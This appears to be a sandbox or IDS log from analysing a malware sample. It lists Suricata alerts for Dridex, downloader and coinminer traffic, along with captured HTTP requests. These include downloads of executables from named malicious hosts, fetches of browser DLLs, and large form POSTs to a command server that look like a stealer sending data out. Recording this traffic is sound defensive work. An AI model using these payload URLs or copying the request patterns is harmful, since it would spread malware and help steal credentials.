Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49833 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49836 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49851 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49857 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49862 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49872 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49867 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49860 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49865 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49853 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49870 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49875 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49877 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49798 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49714 -> 185.166.143.50:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49721 -> 167.114.163.236:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49723 -> 167.114.163.236:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49720 -> 167.114.163.236:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49764 -> 167.114.163.236:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49801 -> 167.114.163.236:443
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.7:49774 -> 45.76.89.70:443

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /solgoodman/zixenberg/downloads/onePackage.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: bitbucket.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vlsadg.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: innovaxingenieros.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /smdsg.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: innovaxingenieros.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /479ceab5-a71c-45e3-a6d6-d89e76e092ed/downloads/d060d296-4b38-4a9e-8201-025e61d8b6d1/onePackage.exe?response-content-disposition=attachment%3B%20filename%3D%22onePackage.exe%22&AWSAccessKeyId=ASIA6KOSE3BNE5X4LFVM&Signature=Q8Wtug9Aoy2W0E60VQqgPsf%2FzEA%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEA0aCXVzLWVhc3QtMSJGMEQCIG87vLJo2fJHJhS8HGlCYcyfqckkq7Y2ObwznLY%2FPmnfAiBa8RP5sUG0MnqSJkH24BsunR%2Fo%2Ffp75%2FHKNXGc678ZJyqnAghFEAAaDDk4NDUyNTEwMTE0NiIMXOe2oo5u4hWGZA4%2FKoQC96hnemE4mdMmFpvuMWICMbMMOwFL2zUyUf%2BuoGMkCXxJ6Gk8sQ%2Bc0kDmCYy63DyJz1lTQF95kHTDxAVXxG%2Be388nPJph5a1ln1450KI0RPaiMOZBHuJBtloAYRGKJgEf7RHNTYS0m5brimjD%2BziLO57Py3BoRRMIAEShxX0KS8RIAZ7IC75%2FIGi8Zzor6nXxDwbwMqVBhpVCjK9V2e2G4iBXISJkpERRUxAaVbF%2FV87zwR9IbmvRx6i8kFflzQuyA2cmQ30F4p1RxRfxb1dXvklqHbNhzemShmXz0YrS8dUvVOwKzUkpcZUEhTEzJw4WAU4bK3FjAFn%2BTn2%2F1XVu1HRakLgwl4qrtwY6ngEIGUfj7MYrSj2mLGwwSNX0WBs%2B25sbWaEc5%2FQOWUSQnBytbq4g3yIoGu79twLl4YhKYXeOmqiwheffyEM2G01jRDXHrcacQxEAbnsQxvKRIpE8nvFU%2BGwFzXRYaXf3pzmh68ZmzOukQYC31Xsz2EeQ267JsEiwdXMmmi14MxgTlw2%2BTSpNwv9ig4BT6%2BviMnN8QcTciSEd9LE71O2q3w%3D%3D&Expires=1726663711 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vkfsags12.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: innovaxingenieros.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFHDBAAECAAKFHDHIIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 5981Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJKFBGIIJJKFIJDBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 145909Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKKFBGDHJKFHJJJJDGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lnfsda.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: innovaxingenieros.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vlsadg.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: innovaxingenieros.comIf-Modified-Since: Wed, 18 Sep 2024 06:33:51 GMTCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAEHIJKJKEBFIEGHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKJKEHDBGIDGDHCFHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 5553Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 5549Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/wp-ping.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: HEAD /prog/66e705d09b33c_jack.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /search/gefox.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /Files/1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66e9b62daa62d_xin.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Files/1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /revada/66e98ff1d44e2_crypted.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /revada/66e86c030044f_UniversityGradually.exe#sun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /search/gefox.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66e705d09b33c_jack.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66e9b62daa62d_xin.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66e98ff1d44e2_crypted.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66e86c030044f_UniversityGradually.exe#sun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 517Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
